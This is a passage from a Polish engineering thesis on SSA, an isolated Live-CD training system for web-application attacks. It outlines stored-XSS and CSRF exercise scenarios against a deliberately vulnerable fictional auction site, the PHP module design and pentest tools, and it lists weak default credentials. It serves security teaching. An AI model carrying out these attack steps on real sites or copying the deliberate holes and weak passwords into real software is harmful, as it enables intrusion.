2. Analiza parametrów przekazywanych stronie internetowej (metodą POST lub GET),
które mogą być na niej wyświetlane.
3. Analiza poprawności weryfikacji parametrów.
4. Po odkryciu niepoprawnej weryfikacji, użytkownik będzie musiał wykorzystać błąd
konstruując odpowiednie zapytanie, osadzające przygotowany wcześniej złośliwy
kod na stronie internetowej.
5. Po zalogowaniu się na konto użytkownika, podając znane dane, użytkownik zażąda
strony, na której znajduje się wcześniej umieszczony złośliwy kod.
6. Obserwacja wyników (dodany komentarz).
Wysoki
Identyfikator WF-0.12
Priorytet
Wybór
ćwiczenia
–
Wykonanie
ataku
typu
CSRF
Nazwa
Opis
Tematem ćwiczenia jest wykorzystanie podatności typu CSRF. Ćwiczenie będzie polegało
na przygotowaniu strony internetowej, która wyśle żądanie do innej strony w imieniu
użytkownika, który ją odwiedza. Scenariusz ataku przedstawia się następująco:
1. Przedstawienie celu ataku (wywołanie pewnej akcji dostępnej dla zalogowanego
użytkownika, polegającej na licytacji w fikcyjnym serwisie aukcyjnym).
2. Analiza parametrów przekazywanych stronie internetowej (metodą POST lub GET),
które należy będzie zamieścić na własnej stronie.
3. Zalogowanie się użytkownika na stronie internetowej (fikcyjny serwis aukcyjny).
4. Otworzenie wcześniej spreparowanej strony internetowej, zatwierdzenie
zamaskowanego formularza.
5. Obserwacja wyniku (mimowolna licytacja w aukcji).
Wysoki
Identyfikator WF-1
Priorytet
Opis ćwiczenia
Nazwa
Opis
Każde dostarczone ćwiczenie musi posiadać opis wraz z nazwą. Informacje te powinny
zawierać takie dane jak:
1. Rodzaj ataku, który występuje w danym ćwiczeniu.
2. Opis ataku.
53
Średni
Identyfikator WF-2
Priorytet
Wzorcowe rozwiązanie ćwiczenia
Nazwa
Opis
Do każdego ćwiczenia powinno zostać dostarczone wzorcowe rozwiązanie, które
użytkownik będzie mógł podejrzeć w dowolnej chwili.
Średni
Identyfikator WF-3
Priorytet
Zakończenie ćwiczenia
Nazwa
Opis
Każde ćwiczenie powinno posiadać pewien cel, którego osiągnięcie będzie uznawane jako
jego koniec. SSA powinien sam sprawdzać czy użytkownikowi udało się dotrzeć do danego
punktu i jeśli tak, to powinien wyświetlić stosowny komunikat. Należy jednak uwzględnić
fakt, że nie zawsze można automatycznie sprawdzić zakończenie ćwiczenia.
4.3 Decyzje projektowe
Każdy produkt projektu informatycznego jest wypadkową pewnych decyzji projektowych,
często podjętych podczas implementacji systemu. Na takie decyzje ma wpływ wiele
czynników takich jak używana technologia, czas (koszt) oraz umiejętności załogi.
Decyzje podejmowane są na każdym kroku, począwszy od systemu operacyjnego po język
programowania i użyte oprogramowanie. Poniżej przedstawione są najbardziej znaczące z
nich dotyczące architektury.
4.3.1 Architektura systemu
Podczas analizy wymagań zostały podjęte następujące decyzje architektoniczne:
Identyfikator
AR-0
Dotyczy
wymagania
WN-0, WN-1, WN-4
System Operacyjny
Nazwa
Decyzja
Systemem operacyjnym zostanie dystrybucja Ubuntu 10.04 LTS dla procesorów
32bitowych. Po jego skonfigurowaniu, zostanie on przerobiony na wersję Live-CD.
Uzasadnienie
System operacyjny jest dobrze znany dużej rzeszy użytkowników, przez co zarówno osoba
rozwijająca projekt, jak i przyszli użytkownicy mogą liczyć na wsparcie techniczne. Jest to
także ostatnia wersja tego systemu, która jest dostatecznie lekka, aby móc ją uruchomić na
starych komputerach bez kłopotu. Dodatkowo, system Ubuntu posiada bardzo rozbudowane
repozytorium i umożliwia łatwą instalację nowego oprogramowania.
54
Identyfikator
AR-1
Dotyczy
wymagania
WF-0, WN-4
Technologia aplikacji
Nazwa
Decyzja
Aplikacja umożliwiająca symulację ataków zostanie napisana w języku PHP. W tym celu
zostanie udostępniony serwis WWW za pomocą serwera Apache. Jako serwer bazodanowy
będzie służyła instancja MySQL.
Uzasadnienie
Wszystkie wymienione technologie są bardzo przystępne, w Internecie można liczyć na
wsparcie społeczności użytkowników oraz można z nich korzystać nie ponosząc żadnych
kosztów.
Identyfikator
AR-2
Dotyczy
wymagania
WN-1
Uruchamianie aplikacji
Nazwa
Decyzja
Po wystartowaniu systemu operacyjnego i zalogowaniu się użytkownika włączy się
środowisko graficzne i zostanie uruchomiona przeglądarka internetowa ze stroną aplikacji,
gdzie użytkownik znajdzie dalsze instrukcje dotyczące działania i korzystania z systemu.
Uzasadnienie
Wszystkie niezbędne informacje można umieścić na lokalnej stronie internetowej, dlatego
jest ona najlepszym miejscem na rozpoczęcie korzystania z aplikacji. Strona uruchomi się
automatycznie i od razu będzie można podchodzić do ćwiczeń, które będą przechowywane w
tym samym formacie.
Identyfikator
AR-3
Dotyczy
wymagania
WN-2
Konstrukcja aplikacji
Nazwa
Decyzja
Aplikacja zostanie zaprojektowana pod kątem mocnej modularności, tak, aby w razie
potrzeby użytkownik mógł dodać nowe ćwiczenia.
Uzasadnienie
Realizacja wymagań dotyczących możliwości rozszerzania aplikacji o nowe ćwiczenia.
Tylko modularna budowa zapewni komfort przy dodawaniu nowych ćwiczeń.
Identyfikator
AR-4
Dotyczy
wymagania
WN-4
Polityka bazodanowa
Nazwa
Decyzja
Do każdego ćwiczenia, które będzie wymagało połączenia z bazą danych, zostanie
przydzielony oddzielny schemat bazodanowy, tak aby w danym ćwiczeniu nie dało się
odczuć skutków działania poprzedniego ćwiczenia.
Uzasadnienie
Wykonywanie ćwiczeń podczas jednej sesji nie powinno wpływać na kolejne ćwiczenia,
dlatego powinny one korzystać z oddzielnych schematów.
55
4.4 Implementacja
4.4.1 System Symulacji Ataków
SSA – System Symulacji Ataków jest to aplikacja internetowa pozwalająca na poznanie zasad
działania ataków internetowych. W ramach projektu inżynierskiego powstał SSA oraz 12
różnych modułów do niego przedstawiających dwanaście najpopularniejszych ataków na
aplikacje internetowe.
Aplikacja, dzięki łatwości dodawania nowych modułów, pozwala na łatwą rozbudowę. Każdy
moduł może mieć zdefiniowanych kilka zachowań, które zostały opisane w sekcji Interfejs
ExerciseInterface. Rozbudowa aplikacji o nowe moduły polega na skopiowaniu pliku z klasą
implementująca interfejs ExerciseInterface do drzewa katalogów z ćwiczeniami. Dla lepszej
czytelności każde ćwiczenie mieści się w osobnym folderze, w którym można także
umieszczać materiały dodatkowe (np. takie zawierające duże ilości tekstu).
Wybór narzędzi
System Symulacji Ataków został napisany w języku PHP, który pozwala realizować w pełni
paradygmat programowania obiektowego implementując abstrakcyjne struktury danych.
Język PHP jest też bardzo prosty i popularny, dlatego późniejsza analiza kodu, w celu
poznania systemu, bądź rozbudowania go nie powinna być dużym wyzwaniem. Ponadto PHP
zapewnia komfortową obsługę bardzo wielu różnych baz danych, przez co ewentualna zmiana
silnika bazy danych jest łatwa w realizacji. Dodatkowo PHP obsługuje mechanizmy refleksji,
co jest bardzo przydatne w realizacji modularności aplikacji.
Jak w wielu projektach informatycznych, warto jest oddzielić logikę aplikacji od warstwę
widoku, która będzie odpowiadała za wyświetlanie poprawnie sformatowanej strony w
każdym kontekście. W tym celu użyto silnika szablonów do PHP o nazwie Smarty (do
pobrania pod adresem http://www.smarty.net). Jest to bardzo elastyczne i wydajne
rozwiązanie pozwalające na przeniesienie pewnej części logiki wyświetlania do szablonu, co
pozytywnie odbija się na czytelności kodu źródłowego.
56
Diagram klas SSA
Poniżej został przedstawiony diagram podstawowych klas dla Systemu Symulacji Ataków.
Rysunek 6. Diagram klas Systemu Symulacji Ataków
Klasa SSA posiada trzy publiczne metody, które są wywoływane w głównym pliku programu:
1. setup() – metoda służąca do zbudowania bazy ćwiczeń oraz generacji stałej części
strony WWW – czyli menu.
2. handleRequest() – metoda służąca do obsługi żądania, analizuje ona treść oraz
kontekst żądania. W tym miejscu uzupełniany danymi jest system szablonów Smarty.
3. displayPage() – metoda opakowująca żądanie wyświetlenia strony w systemie
szablonów Smarty.
Podczas inicjalizacji obiekt klasy SSA tworzy instancję klasy ExerciseSearcher, która
przeszukuje zadany katalog (w domyślnej konfiguracji jest to „exercises”) pod kątem plików
z klasami implementującymi interfejs ExerciseInterface. Następnie tworzona jest instancja
klasy pomocniczej ExerciseMenu, która zajmuje się odpowiednim posortowaniem ćwiczeń i
przygotowaniem ich listy do wyświetlenia w interfejsie użytkownika.
57
Realizacja rozszerzalności
Główny katalog aplikacji zawiera folder o nazwie exercises, są w nim przechowywane
katalogi ćwiczeń. Każdy katalog ćwiczenia może mieć dowolną nazwę, jednak wskazane jest,
aby nawiązywała ona do jego treści. Do prawidłowego działania, taki katalog powinien
zawierać plik o nazwie __ssa__.php, w którym istnieje definicja klasy implementującej
interfejs ćwiczenia - ExerciseInterface.
Poniżej znajduje się diagram klas dla dodanych ćwiczeń:
Rysunek 7. Ćwiczenia - Diagram klas
Realizacja modularności odbywa się poprzez przeglądanie katalogów położonych w folderze
exercises w poszukiwaniu pliku __ssa__.php. Jeśli plik zostanie znaleziony to stosując
mechanizmy refleksji sprawdzane jest, czy w pliku znajduje się klasa, która implementuje
interfejs ćwiczenia (ExerciseInterface). Po odnalezieniu klasy implementującej stosowny
interfejs jest ona zapisywana w programie i później wykorzystywana do wielu czynności
takich jak obsługa kolejnych żądań, definicji warunków końcowych czy też pobranie nazwy
ćwiczenia.
Możliwość łatwej instalacji nowych ćwiczeń jest realizacją wymagania rozbudowywalności
(WN-2). Proces rozszerzania bazy ćwiczeń, oprócz wdrożenia klasy implementującej interfejs
58
ExerciseInterface, sprowadza się tylko do skopiowania uprzednio przygotowanego drzewa
katalogów do folderu exercises.
Interfejs ExerciseInterface
Interfejs ExerciseInterface jest podstawą do rozbudowywania aplikacji o kolejne moduły,
składa się na niego dziesięć metod, które muszą zostać zaimplementowane w nowym module.
Poniżej znajduje się krótki opis wszystkich z nich.
Tabela 7. Opis metod wymaganych przez interfejs ExerciseInterface
Nazwa metody
Typ zwracanej
Przeznaczenie
wartości
getShortName()
Ciąg znaków
Nazwa ćwiczenia wyświetlana w menu.
getLongName()
Ciąg znaków
Nazwa ćwiczenia używana na stronie z
ćwiczeniem.
getDescription()
Ciąg znaków
Opis ćwiczenia (statyczna część ćwiczenia).
getRefecrenceSolution()
Ciąg znaków
Rozwiązanie wzorcowe ćwiczenia.
getOrderingNumber()
isFinished()
Liczba
Wartość
logiczna
Numer określający kolejność w menu (czym
mniejsza liczba tym pozycja jest wyżej).
Czy ćwiczenie zostało zakończone?
startSession()
Ciąg znaków
Metoda wywoływana raz, przy pierwszym
żądaniu strony dla ćwiczenia (może
inicjalizować pewne ustawienia). Może
zwrócić ciąg znaków, który zostanie
dołączony do strony.
startRequest()
Ciąg znaków
Metoda wywoływana za każdym razem, gdy
użytkownik przeładuje stronę. Powinna
zwracać ciąg znaków, który zostanie
dołączony do strony (dynamiczna część
ćwiczenia).
reset()
Brak
Przywrócenie ćwiczenia do stanu pierwotnego.
setViewController($obj)
Brak
Metoda służąca do ustawiania referencji do
obiektu kontrolera warstwy widoku (w
przypadku tej implementacji jest to Smarty).
Obiekt taki jest przydatny, jeśli w ćwiczeniu
potrzebny jest dostęp do zmiennych
zapisanych w szablonie.
59
Dodawanie kolejnych ćwiczeń
Dodawanie kolejnych ćwiczeń powinno odbywać się według następującego algorytmu:
1. Utwórz nowy katalog w folderze „exercises” znajdującym się w katalogu głównym
SSA.
2. W nowoutworzonym katalogu utwórz plik o nazwie „__ssa__.php”.
3. W pliku „__ssa__.php” umieść klasę implementującą interfejs ExerciseInterface.
4. Wejdź na stronę SSA i sprawdź działanie modułu.
Uwagi:

Należy uważać, aby nie powtórzyć nazwy klasy już istniejącej. Wszystkie dostarczone
klasy mają przyrostek „Exercise”, dlatego aby upewnić się, że nie nastąpi powtórzenie
– można go nie używać, bądź użyć innego.

Wyniki działania metod „getDescription()” oraz „getReferenceSolution()”
warto
umieścić w oddzielnych plikach HTML – ich zawartość jest zwykle stała.

Wszelkie obrazy, filmy oraz dźwięki używane w stronach rozwiązań wzorcowych
powinny zostać umieszczone w katalogu o nazwie ćwiczenia w folderze
„media/solutions/” znajdującym się w głównym katalogu programu. Odwołanie do
danego medium następuje przy użyciu ścieżki „media/solutions/[nazwa ćwiczenia]” w
dowolnym pliku.
Działanie interfejsu ExerciseInterface w kontekście systemu SSA
Diagram zamieszczony na kolejnej stronie obrazuje działanie interfejsu ExerciseInterface
(reprezentującego moduł dowolnego ćwiczenia) w kontekście systemu SSA. Po wybraniu
przez Użytkownika danego ćwiczenia, na podstawie zawartości żądania (parametry GET),
system w pierwszej kolejności określa czy żądanie dotyczy restartu ćwiczenia bądź też chęci
zobaczenia rozwiązania wzorcowego. Jeśli żądanie nie dotyczy żadnej z wymienionych opcji,
to proces przetwarzania przechodzi do normalRequest.
Jeśli użytkownik chciał ponownie uruchomić ćwiczenie (restartRequest) to na module
wybranego ćwiczenia wywoływana jest metoda reset, po czym następuje przekierowanie
przeglądarki użytkownika na stronę ćwiczenia, dlatego cały proces rozpoczyna się od nowa.
Na podstawie ciasteczka (ang. cookies) system wie, czy dane żądanie jest pierwszym dla
danego ćwiczenia, czy też nie i odpowiednio uruchamia metodę startSession() interfejsu
ExerciseInterface. Wartości zwracane z metod startSession() oraz startRequest() są dołączane
do zawartości strony co daje lepsze możliwości separacji aktywnego kodu od części opisowej
ćwiczenia.
60
Rysunek 8. Diagram sekwencji działań na interfejsie ExerciseInterface podczas obsługi żądania
61
4.4.2 System operacyjny typu „Live-CD”
Celem powstania systemu operacyjnego była izolacja środowiska testowego od innych
komputerów, a co za tym idzie – od Internetu. Poza tym system stanowi doskonałe
środowisko uruchomieniowe dla aplikacji SSA. System operacyjny opiera się na dystrybucji
Ubuntu 10.04 LTS dla procesorów 32 bitowych. Zostało do niego dołączone dodatkowe
oprogramowanie pełniące rolę serwera WWW obsługującego język skryptowy PHP w
wersji 5. Do utrzymywania bazy danych zostało zainstalowane środowisko MySQL w wersji
14.14.
Ponadto do systemu zostały dołączone trzy opisywane narzędzia, pozwalające użytkownikowi
na automatyzację testów strony. Użytkownik może przekonać się, że „ręczne” sprawdzanie
podatności aplikacji internetowych niesie ze sobą większą precyzję oraz większą ilość
wykrytych luk, jednak czas poświęcony na uruchomienie narzędzia jest wielokrotnie mniejszy
niż włożony w manualny test aplikacji.
Po uruchomieniu systemu operacyjnego, użytkownikowi otwiera się przeglądarka internetowa
z Systemem Symulacji Ataków. Po rozwiązaniu wszystkich ćwiczeń, użytkownik może
poddać
SSA
testom
automatycznym
w
celu
konfrontacji
wyników
z
nabytym
doświadczeniem.
System operacyjny
System operacyjny powstał na bazie istniejącej już instalacji spolszczonego systemu Ubuntu
10.04 LTS. Obraz płyty został utworzony za pomocą programu Remastersys (dostępny do
pobrania pod adresem http://www.remastersys.com/), program umożliwia automatyzację
żmudnego procesu budowania dystrybucji Live-CD.
Do prawidłowego działania systemu należy zainstalować pakiety odpowiedzialne za
utrzymanie serwera WWW, obsługę skryptów PHP oraz silnik bazy danych MySQL, dlatego
zostały zainstalowane pakiety:

apache2

php5

mysql mysql-server

libapache2-mod-auth-mysql

php5

mysql

phpmyadmin
62
Dodatkowo do dystrybucji zostały dołączone programy służące automatyzacji testów
penetracyjnych aplikacji internetowych omawiane w niniejszej pracy, dlatego system zawiera
także pakiet nikto. Z powodu braku odpowiednich pakietów w repozytoriach systemu
operacyjnego aplikacje fimap oraz sqlix zostały zainstalowane ręcznie poprzez umieszczenie
ich źródeł w katalogu /opt/.
Podczas instalacji systemu i silnika baz danych należało zdefiniować hasła administratora
oraz użytkowników, w poniższej tabeli znajduje się ich zestawienie.
Tabela 8. Dane logowania niezbędne przy próbie modyfikacji systemu
Przeznaczenie
Konto „root” systemu operacyjnego
Konto „elka” systemu operacyjnego
Konto administratora MySQL
Dane
Nazwa użytkownika:
Hasło:
Nazwa użytkownika:
Hasło:
Nazwa użytkownika:
Hasło:
root
elka
elka
elka
root
elka
Bazy danych
Po umieszczeniu aplikacji Systemu Symulacji Ataków należało jeszcze przeprowadzić
konfigurację bazy danych. Wymaganie niefunkcjonalne WN-4 oraz jego konsekwencja, czyli
decyzja architektoniczna AR-4 zobowiązuje do odseparowania od siebie baz danych z których
będą korzystać moduły ćwiczeń. W tym celu dla każdego ćwiczenia, które wymaga
połączenia z bazą danych została utworzona oddzielna baza danych o nazwie odpowiadającej
nazwie klasy w jakiej dane ćwiczenie zostało zaimplementowane – czyli dla ćwiczenia, które
zostało zaimplementowane w klasie o nazwie StoredXSSExercise została utworzona baza:
mysql> CREATE DATABASE StoredXSSExercise;
Dla każdej tak utworzonej bazy danych powstało także konto jej użytkownika o nazwie
będącej nazwą klasy, przy czym sufiks Exercise został zamieniony na User i Password
odpowiednio dla nazwy konta i hasła do niego:
mysql> GRANT ALL ON StoredXSSExercise.* TO StoredXSSUser@localhost
IDENTIFIED BY ‘StoredXSSPassword’
63
Aplikacja Remastersys
Instalacja aplikacji Remastersys w systemie Ubuntu opiera się na dodaniu odpowiedniego
repozytorium do systemowej listy. Dla potwierdzenia oryginalności pobieranych danych
należy dodać do archiwum kluczy odpowiednią pozycję – w tym celu należy pobrać klucz
GPG udostępniony przez autora aplikacji:
wget -O - http://www.remastersys.com/ubuntu/remastersys.gpg.key
apt-key add remastersys.gpg.key
Następnie należy dodać do list repozytoriów pozycję odpowiadającą za pakiet, który zawiera
aplikację Remastersys:
echo “deb http://www.remastersys.com/ubuntu lucid main” >> /etc/apt/sources.list
Po dodaniu odpowiedniego repozytorium można odświeżyć listę pakietów i przejść do
instalacji programu:
sudo apt-get update && sudo apt-get install remastersys remastersys-gui
Pakiet remastersys-gui odpowiada za przyjazne środowisko graficzne, które umożliwia pełną
konfigurację programu oraz możliwość dostosowania większej ilości parametrów niż
aplikacja konsolowa.
Optymalizacja wielkości dystrybucji
Przed utworzeniem dystrybucji Live-CD należało usunąć zbędne pakiety oraz tak, aby
docelowy obraz płyty zmieścił się na nośniku CD o pojemności 700MB. W pierwszej
kolejności usunięte zostały programy świadczące funkcje multimedialne takie jak Totem czy
też Rythmbox oraz dołączony program do edycji grafiki GIMP. W celu dalszego oszczędzania
miejsca usunięty został także pakiet biurowy OpenOffice. Wszystkie te aplikacje zostawiły
dużo osieroconych (ang. orphan) bibliotek, dlatego warto je też usunąć – w tym celu został
wykorzystany program orphaner dostępny w repozytorium Ubuntu. Aplikacja wyszukuje
wszystkie osierocone pakiety i pozwala je w wygodny sposób usunąć. Instalacja programu
odbywa się w standardowy sposób:
sudo apt-get install orphaner
Zbudowana w ten sposób dystrybucja Ubuntu, wraz ze wszystkimi niezbędnymi aplikacjami
zajmuje mniej więcej 690MB.
64
5 Podsumowanie
Niniejsza praca miała na celu stworzenie dydaktycznego systemu, który pozwoli
użytkownikom poznać temat testowania aplikacji internetowych pod względem ich
bezpieczeństwa. Cel ten został w pewnej części spełniony, jednak końcowa decyzja należy do
użytkowników aplikacji. Próbna grupa studentów - która wyraziła chęć przetestowania
oprogramowania - odebrała przygotowany system bardzo dobrze, jednak dostrzegła kilka
mankamentów niewidocznych dla autora podczas procesu projektowania i tworzenia
aplikacji.
Ćwiczenia powinny opierać się na przygotowanym uprzednio scenariuszu, który powinien
być bardziej rozbudowany. W przypadku zaprojektowanej aplikacji scenariusz jest nie tylko
liniowy, ale też krótki, co z jednej strony pozwala lepiej skupić się na wykorzystaniu
konkretnej podatności, ale z drugiej - może sprawiać wrażenie monotoniczności.
Kolejna wada aplikacji wynika z jej architektury - jednym z założonych wymagań była
imitacja środowiska rzeczywistego. Po analizie tego wymagania podjęta została decyzja, iż
powinna to być aplikacja internetowa, jednak większość ataków jakie są opisywane w
niniejszej pracy ma swoje działanie dopiero po stronie użytkownika. Oznacza to, że skutki
omawianych ataków (przykładem jest ćwiczenie dotyczące Składowanego XSS) są
nierozróżnialne dla aplikacji internetowej od zamierzonych działań jej użytkownika, co z
kolei skutkuje tym, iż nie można dla danego ćwiczenia zdefiniować warunków końcowych.
Aplikacja umożliwiająca doświadczanie takich ataków najprawdopodobniej nie powinna być
aplikacją internetową, bądź też powinna być odporna na dany typ ataku – tak, żeby dane
wejściowe mogły być odpowiednio interpretowane i na ich podstawie mógł być wyświetlany
wynik. Niestety taka konstrukcja nazbyt przypomina programy typu Honeypot, co nie zgadza
się z przyjętym założeniem.
Część przygotowanych ćwiczeń, takich jak „Odbite XSS” polega na odpowiednim
spreparowaniu żądania w taki sposób, aby w odpowiedzi serwera znajdował się złośliwy kod.
Wszystkie implementacje ataku dla tego ćwiczenia, jakie napłynęły od grupy badanych osób,
rzeczywiście generowały złośliwy kod, który uruchamiał się zaraz po załadowaniu strony
przez przeglądarkę, jednak skutek jego działania był widoczny dopiero po kolejnym
przeładowaniu strony. Przyczyną takiego zachowania jest fakt, iż złośliwy kod, który
wywoływał pewną akcję na serwerze, został uruchomiony przez przeglądarkę dopiero po
uzyskaniu odpowiedzi z tym właśnie kodem. Zachowanie to można naprawić stosując
65
technologię AJAX (ang. Asynchronous JavaScript and XML), która umożliwia praktycznie
transparentną komunikację z serwerem w sposób asynchroniczny i nie wymaga odświeżania
całego dokumentu.
Reasumując, podstawową zasadą testowania jest udana separacja roli programisty i testera nigdy nie powinna być to ta sama osoba. Stosując wspomnianą zasadę na pewno uniknięto by
choć części błędów, które pojawiły się już po dostarczeniu aplikacji. Mimo wszystko
aplikacja, w pewnej części, spełnia swoją dydaktyczną funkcję, o czym świadczą pozytywne
opinie i zainteresowanie wykazane przez studentów.
66
6 Bibliografia
[1]
Sandvine, „Wniosku z badania ruchu internetowego w Europie” 13 Luty 2013.
[Internet]. Dostępne pod:
http://www.sandvine.com/general/document.download.asp?docID=51.
[2]
Kodeks Karny.
[3]
„Archiwalny opis podatności serwisu aukcyjnego eBay na atak typu CSRF” 23
Luty 2013. [Internet]. Dostępne pod: http://archive.cert.unistuttgart.de/bugtraq/2005/04/msg00279.html.
[4]
„Porównanie maksymalnych długości adresów URL w ujęciu różnych
przeglądarek i serwerów” 23 Luty 2013. [Internet]. Dostępne pod:
http://www.boutell.com/newfaq/misc/urllength.html.
[5]
„Techniczny opis robaka "Samy worm",” 24 Luty 2013. [Internet]. Dostępne pod:
http://namb.la/popular/tech.html.
[6]
B. Hope i B. Walther, Web Security Testing Cookbook, USA: O’Reilly, 2008.
[7]
D. Stuttard i M. Pinto, The Web Application Hacker's Handbook: Finding and
Exploiting Security Flaws, USA: Wiley, 2011.
[8]
M. Zalewski, he Tangled Web: A Guide to Securing Modern Web Applications,
USA: No Starch Press, 2011.
67
Download